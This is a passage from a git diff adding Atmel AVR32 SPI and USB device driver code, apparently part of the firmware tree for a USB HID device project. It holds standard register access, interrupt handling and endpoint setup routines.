baudrate for a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param scbr Baudrate Register. + */ +static inline void spi_set_baudrate_register(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t scbr) +{ + switch(chip_select) { + case 0: + spi->CSR0.scbr = scbr; + break; + case 1: + spi->CSR1.scbr = scbr; + break; + case 2: + spi->CSR2.scbr = scbr; + break; + case 3: + spi->CSR3.scbr = scbr; + break; + } +} + +/*! \brief Enable Active mode of a Chip Selects of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + */ +static inline void spi_enable_active_mode(volatile avr32_spi_t *spi,uint8_t chip_select) +{ + switch(chip_select) { + case 0: + spi->CSR0.csaat = 1; + break; + case 1: + spi->CSR1.csaat = 1; + break; + case 2: + spi->CSR2.csaat = 1; + break; + case 3: + spi->CSR3.csaat = 1; + break; + } +} + +/*! \brief Set Mode of the SPI. + * + * \param spi Base address of the SPI instance. + * \param chip_select Chip Select. + * \param flags SPI Mode. + */ +static inline void spi_set_mode(volatile avr32_spi_t *spi,uint8_t chip_select, + uint8_t flags) +{ + switch(chip_select) { + case 0: + spi->CSR0.cpol = flags >> 1; + spi->CSR0.ncpha = (flags & 0x1) ^ 0x1; + break; + case 1: + spi->CSR1.cpol = flags >> 1; + spi->CSR1.ncpha = (flags & 0x1) ^ 0x1; + break; + case 2: + spi->CSR2.cpol = flags >> 1; + spi->CSR2.ncpha = (flags & 0x1) ^ 0x1; + break; + case 3: + spi->CSR3.cpol = flags >> 1; + spi->CSR3.ncpha = (flags & 0x1) ^ 0x1; + break; + } +} + +/*! \brief Put one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \param data The data byte to be loaded + * + */ +static inline void spi_put(volatile avr32_spi_t *spi, uint16_t data) +{ + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; +} + +/*! \brief Get one data to a SPI peripheral. + * + * \param spi Base address of the SPI instance. + * \return The data byte + * + */ +static inline uint16_t spi_get(volatile avr32_spi_t *spi) +{ + return (spi->rdr >> AVR32_SPI_RDR_RD_OFFSET); +} + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_empty(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0; +} + +/*! \brief Checks if all transmissions is ready. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +static inline bool spi_is_tx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0; +} + +/*! \brief Check if the SPI contains a received character. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receive Holding Register is full, otherwise \c 0. + */ +static inline bool spi_is_rx_full(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0; +} + +/*! \brief Checks if all reception is ready. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI Receiver is ready, otherwise \c 0. + */ +static inline bool spi_is_rx_ready(volatile avr32_spi_t *spi) +{ + return (spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) == + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK); +} + +/*! \brief Resets the SPI controller. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_reset(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in slave mode. + * + * \param spi Base address of the SPI instance. + * \param bits Number of bits in each transmitted character (8 to 16). + * \param spi_mode Clock polarity and phase. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + uint8_t bits, + uint8_t spi_mode); + +/*! \brief Sets up the SPI in a test mode where the transmitter is connected to + * the receiver (local loopback). + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + */ +extern spi_status_t spi_initTest(volatile avr32_spi_t *spi); + +/*! \brief Initializes the SPI in master mode. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options); + +/*! \brief Calculates the baudrate divider. + * + * \param baudrate Baudrate value. + * \param pba_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Divider or error code. + * \retval >=0 Success. + * \retval <0 Error. + */ +extern int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz); + +/*! \brief Sets up how and when the slave chips are selected (master mode only). + * + * \param spi Base address of the SPI instance. + * \param variable_ps Target slave is selected in transfer register for every + * character to transmit. + * \param pcs_decode The four chip select lines are decoded externally. Values + * 0 to 14 can be given to \ref spi_selectChip. + * \param delay Delay in PBA periods between chip selects. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + uint8_t variable_ps, + uint8_t pcs_decode, + uint8_t delay); +/*! \brief Selects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Unselects slave chip. + * + * \param spi Base address of the SPI instance. + * \param chip Slave chip number (normal: 0 to 3, extarnally decoded signal: 0 + * to 14). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if last transmission + * is not complete. Invoke \ref spi_writeEndCheck beforehand if needed. + */ +extern spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip); + +/*! \brief Sets options for a specific slave chip. + * + * The baudrate field has to be written before transfer in master mode. Four + * similar registers exist, one for each slave. When using encoded slave + * addressing, reg=0 sets options for slaves 0 to 3, reg=1 for slaves 4 to 7 and + * so on. + * + * \param spi Base address of the SPI instance. + * \param options Pointer to a structure containing initialization options for + * an SPI channel. + * \param pba_hz SPI module input clock frequency (PBA clock, Hz). + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + */ +extern spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz); +/*! \brief Enables the SPI. + * + * \param spi Base address of the SPI instance. + */ +extern void spi_enable(volatile avr32_spi_t *spi); + +/*! \brief Disables the SPI. + * + * Ensures that nothing is transferred while setting up buffers. + * + * \param spi Base address of the SPI instance. + * + * \warning This may cause data loss if used on a slave SPI. + */ +extern void spi_disable(volatile avr32_spi_t *spi); + +/*! \brief Tests if the SPI is enabled. + * + * \param spi Base address of the SPI instance. + * + * \return \c 1 if the SPI is enabled, otherwise \c 0. + */ +extern int spi_is_enabled(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is no data in the transmit register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 No data in TDR. + * \retval 0 Some data in TDR. + */ +extern unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi); + +/*! \brief Writes one data word in master fixed peripheral select mode or in + * slave mode. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data); + +/*! \brief Selects a slave in master variable peripheral select mode and writes + * one data word to it. + * + * \param spi Base address of the SPI instance. + * \param data The data word to write. + * \param pcs Slave selector (bit 0 -> nCS line 0, bit 1 -> nCS line 1, + * etc.). + * \param lastxfer Boolean indicating whether this is the last data word + * transfer. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * \retval SPI_ERROR_ARGUMENT Invalid argument(s) passed. + * + * \note Will block program execution until time-out occurs if transmitter is + * busy and transmit buffer is full. Invoke + * \ref spi_writeRegisterEmptyCheck beforehand if needed. + * + * \note Once the data has been written to the transmit buffer, the end of + * transmission is not waited for. Invoke \ref spi_writeEndCheck if + * needed. + */ +extern spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, + uint16_t data, + uint8_t pcs, + uint8_t lastxfer); + +/*! \brief Checks if all transmissions are complete. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 All transmissions complete. + * \retval 0 Transmissions not complete. + */ +extern unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi); + +/*! \brief Checks if there is data in the receive register. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval 1 Some data in RDR. + * \retval 0 No data in RDR. + */ +extern unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi); + +/*! \brief Reads one data word in master mode or in slave mode. + * + * \param spi Base address of the SPI instance. + * \param data Pointer to the location where to store the received data word. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_TIMEOUT Time-out. + * + * \note Will block program execution until time-out occurs if no data is + * received or last transmission is not complete. Invoke + * \ref spi_writeEndCheck or \ref spi_readRegisterFullCheck beforehand if + * needed. + */ +extern spi_status_t spi_read(volatile avr32_spi_t *spi, uint16_t *data); + +/*! \brief Gets status information from the SPI. + * + * \param spi Base address of the SPI instance. + * + * \return Status. + * \retval SPI_OK Success. + * \retval SPI_ERROR_OVERRUN Overrun error. + * \retval SPI_ERROR_MODE_FAULT Mode fault (SPI addressed as slave + * while in master mode). + * \retval SPI_ERROR_OVERRUN_AND_MODE_FAULT Overrun error and mode fault. + */ +extern unsigned char spi_getStatus(volatile avr32_spi_t *spi); + +#endif // _SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c new file mode 100755 index 0000000..0bc9cf1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.c @@ -0,0 +1,1499 @@ +/** + * \file + * + * \brief USB Device drivers + * Compliance with common driver UDD + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#include "conf_usb.h" +#include "sysclk.h" +#include "udd.h" +#include "usbb_otg.h" +#include "usbb_device.h" +#include + +#ifndef UDD_NO_SLEEP_MGR +#include "sleepmgr.h" +#endif + +#ifndef UDD_USB_INT_LEVEL +# define UDD_USB_INT_LEVEL 0 // By default USB interrupt have low priority +#endif + +/** + * \ingroup usb_device_group + * \defgroup udd_group USB Device Driver (UDD) + * + * \section USBB_CONF USBB Custom configuration + * The following USBB driver configuration must be included in the conf_usb.h + * file of the application. + * + * UDD_USB_INT_LEVEL
+ * Option to change the interrupt priority (0 to 3) by default 0 (recommended). + * + * UDD_ISOCHRONOUS_NB_BANK
+ * Feature to reduce or increase isochronous endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_BULK_NB_BANK
+ * Feature to reduce or increase bulk endpoints buffering (1 to 2). + * Default value 2. + * + * UDD_INTERRUPT_NB_BANK
+ * Feature to reduce or increase interrupt endpoints buffering (1 to 2). + * Default value 1. + * + * \section Callbacks management + * The USB driver is fully managed by interrupt and does not request periodique + * task. Thereby, the USB events use callbacks to transfer the information. + * The callbacks are declared in static during compilation or in variable during + * code execution. + * + * Static declarations defined in conf_usb.h: + * - UDC_VBUS_EVENT(bool b_present)
+ * To signal Vbus level change + * - UDC_SUSPEND_EVENT()
+ * Called when USB bus enter in suspend mode + * - UDC_RESUME_EVENT()
+ * Called when USB bus is wakeup + * - UDC_SOF_EVENT()
+ * Called for each received SOF, Note: Each 1ms in HS/FS mode only. + * + * Dynamic callbacks, called "endpoint job" , are registered + * in udd_ep_job_t structure via the following functions: + * - udd_ep_run()
+ * To call it when a transfer is finish + * - udd_ep_wait_stall_clear()
+ * To call it when a endpoint halt is disabled + * + * \section Power mode management + * The Sleep modes authorized : + * - in USB IDLE state, the USBB needs of USB clock and authorizes up to IDLE mode + * - in USB SUSPEND state, the USBB no needs USB clock but requests a minimum + * clock restart timing. Thus, it authorizes up to STATIC or STANDBY mode. + * - VBUS monitoring used in USB Self-Power mode authorizes up to STOP mode + * + * The USBB_SLEEP_MODE_USB_IDLE equals SLEEPMGR_IDLE. + * + * The USBB_SLEEP_MODE_USB_SUSPEND depends on USB Power mode, + * USB clock startup timing and USB Speed mode: + * | Power Mode | Speed mode | Clock Startup | Sleep mode authorized | + * | Self-Power | LS, FS, HS | X | SLEEPMGR_STOP | + * | Bus-Power | LS, FS | >10ms | SLEEPMGR_STDBY | + * | Bus-Power | LS, FS | <=10ms | SLEEPMGR_STATIC | + * | Bus-Power | HS | >3ms | SLEEPMGR_STDBY | + * | Bus-Power | HS | <=3ms | SLEEPMGR_STATIC | + * + * @{ + */ + + +// Check USB Device configuration +#ifndef USB_DEVICE_EP_CTRL_SIZE +# error USB_DEVICE_EP_CTRL_SIZE not defined +#endif +#ifndef USB_DEVICE_MAX_EP +# error USB_DEVICE_MAX_EP not defined +#endif +#if (UC3A0 || UC3A1 || UC3B) +# ifdef USB_DEVICE_HS_SUPPORT +# error The High speed mode is not supported on this part, please remove USB_DEVICE_HS_SUPPORT in conf_usb.h +# endif +#endif + +#ifndef UDD_ISOCHRONOUS_NB_BANK + #define UDD_ISOCHRONOUS_NB_BANK 2 +#else + #if (UDD_ISOCHRONOUS_NB_BANK<1) || (UDD_ISOCHRONOUS_NB_BANK>2) + #error UDD_ISOCHRONOUS_NB_BANK must be define with 1 or 2. + #endif +#endif +#ifndef UDD_BULK_NB_BANK + #define UDD_BULK_NB_BANK 2 +#else + #if (UDD_BULK_NB_BANK<1) || (UDD_BULK_NB_BANK>2) + #error UDD_BULK_NB_BANK must be define with 1 or 2. + #endif +#endif +#ifndef UDD_INTERRUPT_NB_BANK + #define UDD_INTERRUPT_NB_BANK 1 +#else + #if (UDD_INTERRUPT_NB_BANK<1) || (UDD_INTERRUPT_NB_BANK>2) + #error UDD_INTERRUPT_NB_BANK must be define with 1 or 2. + #endif +#endif + + +/** + * \name Power management routine. + */ +//@{ + +#ifndef UDD_NO_SLEEP_MGR + +//! Definition of sleep levels +#if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STOP +#else +# if ((defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>3000)) \ + || ((!defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>10000)) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STDBY +# else +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STATIC +# endif +#endif +#define USBB_SLEEP_MODE_USB_IDLE SLEEPMGR_IDLE + +//! State of USB line +static bool udd_b_idle; + + +/*! \brief Authorize or not the CPU powerdown mode + * + * \param b_enable true to authorize powerdown mode + */ +static void udd_sleep_mode(bool b_idle) +{ + if (!b_idle && udd_b_idle) { + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + if (b_idle && !udd_b_idle) { + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + udd_b_idle = b_idle; +} +#else + +static void udd_sleep_mode(bool b_idle) { +} + +#endif // UDD_NO_SLEEP_MGR + +//@} + + +/** + * \name Control endpoint low level management routine. + * + * This function performs control endpoint mangement. + * It handle the SETUP/DATA/HANDSHAKE phases of a control transaction. + */ +//@{ + +//! Global variable to give and record information about setup request management +COMPILER_WORD_ALIGNED udd_ctrl_request_t udd_g_ctrlreq; + +//! Bit definitions about endpoint control state machine for udd_ep_control_state +typedef enum { + UDD_EPCTRL_SETUP = 0, //!< Wait a SETUP packet + UDD_EPCTRL_DATA_OUT = 1, //!< Wait a OUT data packet + UDD_EPCTRL_DATA_IN = 2, //!< Wait a IN data packet + UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP = 3, //!< Wait a IN ZLP packet + UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP = 4, //!< Wait a OUT ZLP packet + UDD_EPCTRL_STALL_REQ = 5, //!< STALL enabled on IN & OUT packet +} udd_ctrl_ep_state_t; + +//! State of the endpoint control management +static udd_ctrl_ep_state_t udd_ep_control_state; +//! Total number of data received/sent during data packet phase with previous payload buffers +static uint16_t udd_ctrl_prev_payload_nb_trans; +//! Number of data received/sent to/from udd_g_ctrlreq.payload buffer +static uint16_t udd_ctrl_payload_nb_trans; +//! Signal if the udd_g_ctrlreq.payload buffer is modulo endpoint control and need of data ZLP +static bool udd_ctrl_payload_need_in_zlp; + +/** + * \brief Reset control endpoint + * + * Called after a USB line reset or when UDD is enabled + */ +static void udd_reset_ep_ctrl(void); + +/** + * \brief Reset control endpoint management + * + * Called after a USB line reset or at the end of SETUP request (after ZLP) + */ +static void udd_ctrl_init(void); + +//! \brief Managed reception of SETUP packet on control enpoint +static void udd_ctrl_setup_received(void); + +//! \brief Managed reception of IN packet on control enpoint +static void udd_ctrl_in_sent(void); + +//! \brief Managed reception of OUT packet on control enpoint +static void udd_ctrl_out_received(void); + +//! \brief Managed underflow event of IN packet on control enpoint +static void udd_ctrl_underflow(void); + +//! \brief Managed overflow event of OUT packet on control enpoint +static void udd_ctrl_overflow(void); + +//! \brief Managed stall event of IN/OUT packet on control enpoint +static void udd_ctrl_stall_data(void); + +//! \brief Send a ZLP IN on control endpoint +static void udd_ctrl_send_zlp_in(void); + +//! \brief Send a ZLP OUT on control endpoint +static void udd_ctrl_send_zlp_out(void); + +//! \brief Call callback associated to setup request +static void udd_ctrl_endofrequest(void); + +/** + * \brief Main interrupt routine for control endpoint + * + * This switchs control endpoint events to correct sub function. + * + * \return \c 1 if an event about control endpoint is occured, otherwise \c 0. + */ +static bool udd_ctrl_interrupt(void); + +//@} + + +/** + * \name Management of bulk/interrupt/isochronous endpoints + * + * The UDD manages the data transfer on endpoints: + * - Start data tranfer on endpoint with USB Device DMA + * - Send a ZLP packet if requested + * - Call callback registered to signal end of transfer + * The transfer abort and stall feature are supported. + */ +//@{ +#if (0!=USB_DEVICE_MAX_EP) + +//! Structure definition about job registered on an endpoint +typedef struct { + uint8_t busy:1; //!< A job is registered on this endpoint + uint8_t stall_requested:1; //!< A stall has been requested but not executed + uint8_t *buf; //!< Buffer located in internal RAM to send or fill during job + iram_size_t buf_size; //!< Size of buffer to send or fill + union { + udd_callback_trans_t call_trans; //!< Callback to call at the end of transfer + udd_callback_halt_cleared_t call_nohalt; //!< Callback to call when the endpoint halt is cleared + }; +} udd_ep_job_t; + + +//! Array to register a job on bulk/interrupt/isochronous endpoint +static udd_ep_job_t udd_ep_job[USB_DEVICE_MAX_EP]; + +//! \brief Reset all job table +static void udd_ep_job_table_reset(void); + +//! \brief Abort all endpoint jobs on going +static void udd_ep_job_table_kill(void); + +/** + * \brief Abort endpoint job on going + * + * \param ep endpoint number of job to abort + */ +static void udd_ep_abort_job(udd_ep_id_t ep); + +/** + * \brief Call the callback associated to the job which is finished + * + * \param ptr_job job to complete + * \param b_abort if true then the job has been aborted + */ +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort); + +/** + * \brief Main interrupt routine for bulk/interrupt/isochronous endpoints + * + * This switchs endpoint events to correct sub function. + * + * \return \c 1 if an event about bulk/interrupt/isochronous endpoints has occured, otherwise \c 0. + */ +static bool udd_ep_interrupt(void); + +#endif // (0!=USB_DEVICE_MAX_EP) +//@} + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED GLOBAL EVENTS + + +/** + * \internal + * \brief Function called by USBB interrupt to manage USB Device interrupts + * + * USB Device interrupt events are splited in three parts: + * - USB line events (SOF, reset, suspend, resume, wakeup) + * - control endpoint events (setup reception, end of data transfer, underflow, overflow, stall) + * - bulk/interrupt/isochronous endpoints events (end of data transfer) + * + * Note: + * Here, the global interrupt mask is not clear when an USB interrupt is enabled + * because this one can not be occured during the USB ISR (=during INTX is masked). + * See Technical reference $3.8.3 Masking interrupt requests in peripheral modules. + */ +#ifdef OTG +static void udd_interrupt(void) +#else +// Fix the fact that, for some IAR header files, the AVR32_USBB_IRQ_GROUP define +// has been defined as AVR32_USB_IRQ_GROUP instead. +#if __ICCAVR32__ +#if !defined(AVR32_USBB_IRQ_GROUP) +#define AVR32_USBB_IRQ_GROUP AVR32_USB_IRQ_GROUP +#endif +#endif +ISR(udd_interrupt, AVR32_USBB_IRQ_GROUP, UDD_USB_INT_LEVEL) +#endif +{ +#ifdef UDC_SOF_EVENT + if (Is_udd_sof()) { + udd_ack_sof(); + UDC_SOF_EVENT(); + goto udd_interrupt_end; + } +#endif + + if (udd_ctrl_interrupt()) + goto udd_interrupt_end; // Interrupt acked by control endpoint managed + +#if (0!=USB_DEVICE_MAX_EP) + if (udd_ep_interrupt()) + goto udd_interrupt_end; // Interrupt acked by bulk/interrupt/isochronous endpoint managed +#endif + + // USB bus reset detection + if (Is_udd_reset()) { + udd_ack_reset(); + // Abort all jobs on-going +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_kill(); +#endif + // Reset USB Device Stack Core + udc_reset(); + // Reset endpoint control + udd_reset_ep_ctrl(); + // Reset endpoint control management + udd_ctrl_init(); + goto udd_interrupt_end; + } + + if (Is_udd_suspend_interrupt_enabled() && Is_udd_suspend()) { + otg_unfreeze_clock(); + // The suspend interrupt is automatic acked when a wakeup occur + udd_disable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); + otg_freeze_clock(); // Mandatory to exit of sleep mode after a wakeup event + udd_sleep_mode(false); // Enter in SUSPEND mode +#ifdef UDC_SUSPEND_EVENT + UDC_SUSPEND_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_wake_up_interrupt_enabled() && Is_udd_wake_up()) { + // Ack wakeup interrupt and enable suspend interrupt + otg_unfreeze_clock(); + // Check USB clock ready after suspend and eventually sleep USB clock + while( !Is_clock_usable() ) { + if(Is_udd_suspend()) break; // In case of USB state change in HS + }; + // The wakeup interrupt is automatic acked when a suspend occur + udd_disable_wake_up_interrupt(); + udd_enable_suspend_interrupt(); + udd_sleep_mode(true); // Enter in IDLE mode +#ifdef UDC_RESUME_EVENT + UDC_RESUME_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_vbus_transition()) { + // Ack VBus transition and send status to high level + otg_unfreeze_clock(); + udd_ack_vbus_transition(); + otg_freeze_clock(); +#ifdef UDC_VBUS_EVENT + UDC_VBUS_EVENT(Is_udd_vbus_high()); +#endif + goto udd_interrupt_end; + } +udd_interrupt_end: + otg_data_memory_barrier(); + return; +} + + +bool udd_include_vbus_monitoring(void) +{ + return true; +} + + +void udd_enable(void) +{ + irqflags_t flags; + sysclk_enable_usb(); + + flags = cpu_irq_save(); + + //** Enable USB hardware + otg_disable(); + (void)Is_otg_enabled(); +#ifdef OTG + // Check UID pin state before enter in USB device mode + if (!Is_otg_id_device()) + return FALSE; +#else + // Here, only the Device mode is possible, then link USBB interrupt to UDD interrupt + irq_register_handler(udd_interrupt, AVR32_USBB_IRQ, UDD_USB_INT_LEVEL); + otg_force_device_mode(); +#endif + otg_disable_pad(); + otg_enable_pad(); + otg_enable(); + otg_unfreeze_clock(); + (void)Is_otg_clock_frozen(); +#if UC3A3 + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode +#else + // Check USB clock + while( !Is_clock_usable() ); +#endif + + // Reset internal variables +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_reset(); +#endif + + // Set the USB speed requested by configuration file +#ifdef USB_DEVICE_LOW_SPEED + udd_low_speed_enable(); +#else + udd_low_speed_disable(); +# ifdef USB_DEVICE_HS_SUPPORT + udd_high_speed_enable(); +# else + udd_high_speed_disable(); +# endif +#endif + udd_enable_vbus_interrupt(); + otg_freeze_clock(); + // Always authorize asynchrone USB interrupts to exit of sleep mode + AVR32_PM.AWEN.usb_waken = 1; + +#ifndef UDD_NO_SLEEP_MGR + // Initialize the sleep mode authorized for the USB suspend mode + udd_b_idle = false; + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + + cpu_irq_restore(flags); +} + + +void udd_disable(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + // Disable USB pad + otg_disable(); + otg_disable_pad(); + sysclk_disable_usb(); + udd_sleep_mode(false); +#ifndef UDD_NO_SLEEP_MGR + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + cpu_irq_restore(flags); +} + + +void udd_attach(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + + // At startup the USB bus state is unknown, + // therefore the state is considered IDLE to not miss any USB event + udd_sleep_mode(true); + otg_unfreeze_clock(); + + // This section of clock check can be improved with a chek of + // USB clock source via sysclk() +#if UC3A3 + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode + // But it is not a issue, because the clock source is the OSC +#else + // Check USB clock because the source can be a PLL + while( !Is_clock_usable() ); +#endif + // Authorize attach if VBus is present + udd_attach_device(); + + // (RESET_AND_WAKEUP) + // After the attach and the first USB suspend, the following USB Reset time can be inferior to CPU restart clock time. + // Thus, the USB Reset state is not detected and endpoint control is not allocated + // In this case, a Reset is do automatically after attach. + udc_reset(); // Reset USB Device Stack Core + udd_reset_ep_ctrl(); // Reset endpoint control + udd_ctrl_init(); // Reset endpoint control management + + // Enable USB line events + udd_enable_reset_interrupt(); + udd_enable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); +#ifdef UDC_SOF_EVENT + udd_enable_sof_interrupt(); +#endif + // Reset following interupts flag + udd_ack_reset(); + udd_ack_sof(); + + // The first suspend interrupt must be forced +#if UC3A3 + // With UTMI, the first suspend is detected but must be cleared to reoccur interrupt + udd_ack_suspend(); +#else + // The first suspend interrupt is not detected else raise it + udd_raise_suspend(); +#endif + udd_ack_wake_up(); + otg_freeze_clock(); + cpu_irq_restore(flags); +} + + +void udd_detach(void) +{ + otg_unfreeze_clock(); + // Detach device from the bus + udd_detach_device(); + udd_sleep_mode(false); +} + + +bool udd_is_high_speed(void) +{ +#ifdef USB_DEVICE_HS_SUPPORT + return !Is_udd_full_speed_mode(); +#else + return false; +#endif +} + + +void udd_set_address(uint8_t address) +{ + udd_disable_address(); + udd_configure_address(address); + udd_enable_address(); +} + + +uint8_t udd_getaddress(void) +{ + return udd_get_configured_address(); +} + + +uint16_t udd_get_frame_number(void) +{ + return udd_frame_number(); +} + + +void udd_send_wake_up(void) +{ +#ifndef UDD_NO_SLEEP_MGR + if (!udd_b_idle) +#endif + { + udd_sleep_mode(true); // Enter in IDLE mode + otg_unfreeze_clock(); + udd_initiate_remote_wake_up(); + } +} + + +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ) +{ + udd_g_ctrlreq.payload = payload; + udd_g_ctrlreq.payload_size = payload_size; +} + + +#if (0!=USB_DEVICE_MAX_EP) +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize) +{ + bool b_dir_in; + uint16_t ep_allocated; + uint8_t bank, i; + + b_dir_in = ep & USB_EP_DIR_IN; + ep = ep & USB_EP_ADDR_MASK; + + if (ep > USB_DEVICE_MAX_EP) + return false; + if 